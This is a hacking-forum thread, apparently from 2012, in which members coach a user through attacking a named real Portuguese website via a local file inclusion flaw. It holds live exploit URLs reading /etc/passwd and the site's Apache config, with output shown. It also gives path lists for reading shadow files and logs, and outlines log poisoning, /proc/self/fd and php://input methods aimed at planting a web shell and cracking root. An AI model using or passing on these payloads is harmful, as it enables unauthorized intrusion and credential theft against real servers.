Nice work logic^^ Open for business!! rofl
Glad to have you aboard Hax0r! Really HQ member that i know for sure likes to help others XD
These guy's don't know shit.
I asked Sp3ctrum10 for help one time, and all he did was laugh at me and call me a n00b. Fucking pathetic, the only help you guys can offer is being dumb.
JK XD
But in all seriousness, nice of you to do this, good to see ya helpin' out the community. Will definitely post here if I have issues.
(Jun 22, 2012 08:45 PM)dawnofwar Wrote: These guy's don't know shit.
I asked Sp3ctrum10 for help one time, and all he did was laugh at me and call me a n00b. Fucking pathetic, the only help you guys can offer is being dumb.
JK XD
But in all seriousness, nice of you to do this, good to see ya helpin' out the community. Will definitely post here if I have issues.
Really now? I have helped you out numerous of times and thats what you say XD Thanks for the comment downofwar lol Made my night!
Yeah, I'm here to help as well. Don't worry guys, I don't bite :3
Hey there!
Problem: I cant upload a shell through a FI attack (I dunno if its RFI or LFI).
URL:http://www.inforlandia.pt/index.php?m=../../../../etc/passwd%00
Timeframe: 1 Week
Additional Info: This isnt actually very important, but i would like to know how to upload a shell in this website's case.
Thanks a lot!
(Jun 23, 2012 08:09 AM)| Solo | Wrote: Ok so what you have is an LFI. What you need to do first is see if proc/self/environ is present. In this case its not. So using tamper data to wget a shell isnt possible.
So, there is no other way to put a shell on that server?
(Jun 23, 2012 05:25 AM)oH4i Hx0r Wrote: Hey there!
Problem: I cant upload a shell through a FI attack (I dunno if its RFI or LFI).
URL:http://www.inforlandia.pt/index.php?m=../../../../etc/passwd%00
Timeframe: 1 Week
Additional Info: This isnt actually very important, but i would like to know how to upload a shell in this website's case.
Thanks a lot!
Logic is right about /proc/self/environ but you could always look at log files for password hashes. The hashes are not present in /etc/passwd :( but here are some other places you can look.
PHP Code
<?php
etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
Also you could try reading source code with php://filters or try exploiting it through burp suite. Hooded Robin has a great tut for this.
[+] https://hackforums.net/showthread.php?tid=1992713
[+] https://hackforums.net/showthread.php?tid=1981091
Also some more interesting places to look:
PHP Code
<?php
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log
No problem XD thought i would help him learn a little more with lfi. Maybe he might find some hashes and crack root :} or read config file for the Database & site then find admin hash in the code, crack, login, upload shell.
Ill try that, Spectrum10!
Thank you all!
(Jun 23, 2012 10:18 AM)oH4i Hx0r Wrote: Ill try that, Spectrum10!
Thank you all!
No problem, good luck with your search ^^ Good day!
(Jun 23, 2012 10:42 AM)-DownFall Wrote: Maybe you should take a look at this.
Code http://www.inforlandia.pt/index.php?m=../../../../etc/apache2/apache2.conf%00
Code ServerRoot :: /etc/apache2
DocumentRoot :: /var/www
Apache Config Files :: /etc/apache2/apache2.conf
:: /etc/apache2/ports.conf
Default VHost Config :: /etc/apache2/sites-available/default, /etc/apache2/sites-enabled/000-default
Module Locations :: /etc/apache2/mods-available, /etc/apache2/mods-enabled
ErrorLog :: /var/log/apache2/error.log
AccessLog :: /var/log/apache2/access.log
cgi-bin :: /usr/lib/cgi-bin
binaries (apachectl) :: /usr/sbin
start/stop :: /etc/init.d/apache2 (start|stop|restart|reload|force-reload|start-htcacheclean|stop-htcacheclean)
They've moved their logs, so log poisoning via access/error logs is going to pretty difficult unless you manage to guess where they've put them. Maybe you can try log poisoning via /proc/self/fd method. If all goes bad, you can always dig around for juicy config files :3
Good luck.
-DownFall
Thanks a lot man, i appreciate your work! :)
(Jun 23, 2012 10:39 AM)Hooded Robin Wrote: @oH4i Hx0r - Also don't forget to try the /proc/self/fd/<#> links which are usually a little easier to find than logs. I usually try this method before going on a wild goose hunt for random log files. If you can read /proc/self/status file you can read the FD_SIZE which will tell you how many possible links are contained under /proc/self/fd/x (can also replace self with the PID number from status page if you like). You will typically find them under 35 (/proc/self/fd/0-35) in my experience but you never know till you look. Also php://input method still works with NULL byte so you might also give that a quick try and see if you have direct RCE without much effort. I have made tuts on all this so just search my threads or check my blog....
PS - Nice thread guys!
I linked him two of your tuts here, and thanks for the help and liking thread Hooded robin!
(Jun 23, 2012 10:42 AM)-DownFall Wrote: Maybe you should take a look at this.
Code http://www.inforlandia.pt/index.php?m=../../../../etc/apache2/apache2.conf%00
Code ServerRoot :: /etc/apache2
DocumentRoot :: /var/www
Apache Config Files :: /etc/apache2/apache2.conf
:: /etc/apache2/ports.conf
Default VHost Config :: /etc/apache2/sites-available/default, /etc/apache2/sites-enabled/000-default
Module Locations :: /etc/apache2/mods-available, /etc/apache2/mods-enabled
ErrorLog :: /var/log/apache2/error.log
AccessLog :: /var/log/apache2/access.log
cgi-bin :: /usr/lib/cgi-bin
binaries (apachectl) :: /usr/sbin
start/stop :: /etc/init.d/apache2 (start|stop|restart|reload|force-reload|start-htcacheclean|stop-htcacheclean)
They've moved their logs, so log poisoning via access/error logs is going to pretty difficult unless you manage to guess where they've put them. Maybe you can try log poisoning via /proc/self/fd method. If all goes bad, you can always dig around for juicy config files :3
Good luck.
-DownFall
Thanks for your help DownFall! Much appreciated!
The level of help in this thread disgusts me.
Look at these guys, thinking they own the world, parading around here like they are doing something good.
Dispicable. 😈
|
